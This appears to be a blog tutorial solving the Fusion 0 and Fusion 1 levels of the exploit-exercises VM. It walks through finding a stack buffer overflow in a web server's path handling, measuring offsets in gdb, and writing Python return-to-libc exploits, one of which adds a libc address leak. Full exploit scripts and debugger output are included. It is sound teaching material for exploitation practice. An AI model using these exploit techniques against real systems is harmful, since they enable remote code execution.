I opened libc in ida and looked for the function system. Here is what I saw:

The first opcode is saving of stack space for the local variable of the function.

Second opcode is saving the current value of esi

Third opcode copies the parameter to the function into esi. If we will “enter” the function in the 4th opcode, we can pass paramter on esi – which is the only register we control. What a lucy break!

Everything that has changed from fusion 0’s exploit is in red. This time because the address of our parameter is in ESI, we don’t pass it on the stack. We do have to “make room” for 4 parameters that the function defines (instead of the opcode sub esp, 0x10) that we don’t run.

I quickly finish coding it, and try it.

 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 135 
 padding = "a" * padding_length + struct.pack("I", ebp) 
 BASH_LINE = "touch /tmp/a; " 
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 address_to_read = 0x8048a32 
 fix_path_return_address = struct.pack("I", 0x8049959) 
 commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 data = s.recv(1000) 
 address = data.split(" ")[3] 
 address = address[:4] 
 print address 
 address = struct.unpack("I", address)[0] 
 # This is the offset of open inside the version of libc that we are using. 
 address -= 0xc0b60 
 return address 
 
def exploit(address_of_libc): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 
 # This is the 4th opcode in system, as explained in the blog. 
 address_of_system = struct.pack("I", 0x3cb2b + address_of_libc) 
 address_of_exit = struct.pack("I", 0x329e0 + address_of_libc) 
 payload = address_of_system + "b"*0x10 + address_of_exit 
 commands = basic_overflow_commands(0x13371337, payload) 
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
 
def main(): 
 address_of_libc = get_address_of_libc() 
 print "libc is at %x" %(address_of_libc, ) 
 exploit(address_of_libc) 
 
if __name__ == "__main__": 
 main() 
$ python fusion1.py 
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa>Y HTTP/1.1 touch /tmp/a; "
`�
libc is at b772d000
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa77+�v�bbbbbbbbbbbbbbbbu� HTTP/1.1 touch /tmp/a; "
Reciving:"touch: "
Reciving:"cannot touch `/tmp/a'"

Sure enough after deleting the file /tmp/a that was created by a different use on the machine, I run the script again and this time it worked!

If you have any questions or feedback I would love to hear from you in the comments below 🙂

Fusion 0

Hey guys, In this series of articles I will try to teach how to research and exploit bugs in programs. I will try to show how I think and work as opposed to just showing the solution. Just like my math teacher used to say “Show the work”. I believe that it is more educational this way. And there is actually a chance you will learn something. If you just want to see the solution, feel free to skip to the summary at the end or read the code in my github. I will assume that you are a competent high-level programmer. That can code complex programs in C. If that is not the case, I believe it will be more beneficial to you to learn how to code in C  and Python first. We will be doing the fusion VM from exploit-exercises.com. Today we will be doing Fusion 0

Game plan:

  1. Get a working server and client..
  2. Find a vulnerability (In this case buffer overflow as hinted in this stage’s page)
  3. Change the return address to be that of the function system.
  4. Change the parameters the function system is getting so that we run whatever we want

Getting started:

First thing I did was to setup the host machine with the VM I downloaded from exploit-excrecises website. I made sure I can ssh into it and that it works.

Let’s understand what we are dealing with, we are given a web server running on tcp port 2000 on a vm we downloaded from the internet. Our goal is to find and exploit a bug in the server that will allow us to run arbitrary code on the server.

The first thing we do is to read the source code. If you don’t understand c good enough to explain the code, you are not ready to learn exploitation yet, your time will be better spent finding a good c programming course online and starting with it. I highly encourage that.

Understanding the program:

So we read the program and we understand the following:

  1. The program is a server that binds a port.
  2. Forks for each new connection.
  3. Every fork then reads from stdin some input, validates it and basically prints some strings.

It only makes sense if we assume that the received connection will be used as stdin and stdout for the connection, otherwise who will write the input for this server?

Anyway we want to test this assumption so we write a short python script to connect to the server and communicate with it. We play with it and in a few iterations we get to this:

#! /usr/bin/env python 
import socket 
 
PORT = 20000 
HOST = "VM" 
 
def get_commands(): 
 return ["GET /etc/hosts HTTP/1.1 "] 
 
def main(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 commands = get_commands() 
 for c in commands: 
   print "Sending:\"%s\"" % (c, ) 
   s.send(c, len(c)) 
   print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
 main()

We run it:

Sending:"GET /etc/hosts HTTP/1.1 "
Reciving:"[debug] buffer is at 0xbf879c48 :-) 
"
Reciving:"trying to access /etc/hosts
"

So basically we have a working client to communicate with the server.

Now lets try to look for the vulnerabilities.

The simplest family of vulnerabilities I know is stack overflow. Which happens when a program tries to write data to variable that is stored on the stack past variable length.

The easiest way to find them is to search for arrays of data being defined on the stack. In this program we see 2 arrays on the stack.

  1. Char resolved[128]; (at fix_path)
  2. Char buffer[1024]; (at parse_http_request)

To count either of those as a stack overflow, we need find an input that causes more data than the size of the variable to be copied into the variable. In this case at least 129 or 1025 bytes.

So, we teak the function get_commands to try to overflow the buffer named buffer, we run the script… and …. Nothing happens. Or at least we don’t see anything different.

New get_commands function:

def get_commands(): 
 pattern = "GET /etc/hosts HTTP/1.1 " 
 padding_length = 1024 - len(pattern) 
 padding = "a" * padding_length 
 return [pattern + padding + "abcdefgh"]

This function returns a list with one string. Let’s understand it. The first thing in string is what I called pattern, it is just what I had to return in order to confirm to the protocol of the server.  The next thing is the padding, the padding is a long string of a’s that we use to fill up the buffer up to the location where we think the overflow will happen. Why do we use ‘a’s? it’s to make our debugging of what happens later easier.

You are probably wondering this “abcdefgh”. Well obviously these are the first 8 letters of the English alphabet :D. Why do we need them you might ask yourself? The answer is  that if we would overflow any variable it would be pretty easy to spot it if we overflow it with a known values.

What do we do next?

  1. Use a debugger to get a better understanding of what happened
  2. Try to work on the other potential buffer overflow.

I know what happened, but for now I prefer option number 2. Don’t worry, we will have plenty of opportunities to use debuggers in this series of articles.

So let’s try to work on the potential buffer overflow at fix_path, to do that, we need to pass a path which is larger than 128 bytes. After some trial and error we get to this:

def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s HTTP/1.1 " 
 padding_length = 160 
 padding = "a" * padding_length + "bbbb" 
 return [pattern % (file_path, padding)]

And the output is this:

Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Reciving:"[debug] buffer is at 0xbf879c48 :-)
"
Traceback (most recent call last):
 File "fusion0-overflow2.py", line 25, in <module>
 main()
 File "fusion0-overflow2.py", line 22, in main
 print "Reciving:\"%s\"" % (s.recv(1000), )
socket.error: [Errno 104] Connection reset by peer

We can see that the server has stopped responding to us. It happened because we managed to overflow the buffer “char resolved[128]”. Somewhere after this buffer, the return address of the function fix_path was saved. We overflowed it with ‘a’s and ‘b’s and caused the function to return into an memory address which is not mapped.

We use a debugger to make sure we are right on that guess.

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 22996]
0x61616161 in ?? ()

Well we were right.. We stopped at the address 0x61616161 which means that the memory address containing the return address fix_path was overrun with 4 ‘a’s

Now we want to figure out just how many a’s do we need to use until the return address of fix_path. We can guess and brute force it until we find out. But I will just use a debugger.

If you don’t understand what I did there I suggest reading my gdb cheatsheet (Coming soon).

(gdb) b * fix_path 
Breakpoint 4 at 0x8049815: file level00/level00.c, line 4.
(gdb) c
Continuing.

<run the client script>

(gdb) x/10wx resolved+128
0xbf879c20:     0xbf879c4c      0xb7826918      0x00000000      0x08049970
0xbf879c30:     0xbf879c4c      0x00000020      0x00000004      0x00000000
0xbf879c40:     0x001761e4      0xbf879cd0

(gdb) x/i 0x08049970
   0x8049970 <parse_http_request+283>:  mov    eax,0x8049f17

 

The address 12  bytes (remember that every address is 4 bytes long) after the buffer seems like an address of code segment (It starts with 0x8049 just like the address of fix_path) we test it, and it is an address in the function that called fix_path. So we know that we need to use 140 bytes of file path and after it comes the return address to our function.

We test it by changing padding length from the previous code, and this time we get a crash at 0x62626262 (same as 4 ‘b’s).

Bingo!

Exploiting:

After we overflow the buffer, this is how we would like the stack to look like:

Take as much time as you need to understand this, This is the most important thing in this whole post. This might help you:

  1. man system
  2. man exit
  3. man touch

And remember that X is where the return address of the function is being saved. and X – 139 is the address of the buffer we control.

While being connected with a debugger to our target program:

(gdb) x/i *system
   0xb76bab20 <__libc_system>:  sub    esp,0x10

Why do we need exit? After the function system will finish doing its thing, we prefer the program to exit in a regular way and not crashing in a weird way.

def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 139 
 padding = "a" * padding_length 
 ADDRESS_OF_SYSTEM = 0xb76bab20 
 ADDRESS_OF_EXIT = 0xb76b09e0 
 ADDERSS_OF_BASH_LINE = 0x13371338 
 payload = struct.pack("I", ADDRESS_OF_SYSTEM ) + struct.pack("I", ADDRESS_OF_EXIT) + struct.pack("I", ADDERSS_OF_BASH_LINE)
 return [pattern % (file_path, padding, payload)]

We run the new script while being connected in a debugger, and We understand that we get the invalid protocol error. After re-reading the source I understand the problem. The function system has 0x20 at the address which is ‘ ’ (space). The problem is that space is part of our protocol. And we can’t use it as part of the payload.

After thinking about it a little bit, I run the following line in gdb:

(gdb) x/2i system-1
   0xb76bab1f:  nop
   0xb76bab20 <__libc_system>:  sub    esp,0x10

Seems like I can just use the address of a one opcode before system in order to avoid using 0x20 in the address. So I do it.. This time it works and with a debugger I find out that I stopped inside the function system!

Breakpoint 3, __libc_system (line=0x13371338 <Address 0x13371338 out of bounds>) at ../sysdeps/posix/system.c:179
179     ../sysdeps/posix/system.c: No such file or directory.
        in ../sysdeps/posix/system.c

See this 0x13371338, its the same as ADDERSS_OF_BASH_LINE, which means that we know how to pass the right parameter. find the address of the buffer with a debugger and replace this placeholder number with the right number. we run the program again and it works. We verify by running ls on /tmp.

Final version of the code:

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20000 
HOST = "VM" 
 
def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 139 
 padding = "a" * padding_length 
 ADDRESS_OF_SYSTEM = 0xb76bab1f 
 ADDRESS_OF_EXIT = 0xb76b09e0 
 ADDERSS_OF_BASH_LINE = 0xbf879cee 
 BASH_LINE = "touch /tmp/a; " 
 payload = struct.pack("I", ADDRESS_OF_SYSTEM ) + struct.pack("I", ADDRESS_OF_EXIT) + struct.pack("I", ADDERSS_OF_BASH_LINE)
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def main(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 commands = get_commands() 
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
 main() 

 

If you have any questions or feedback I would love to hear from you in the comments below 🙂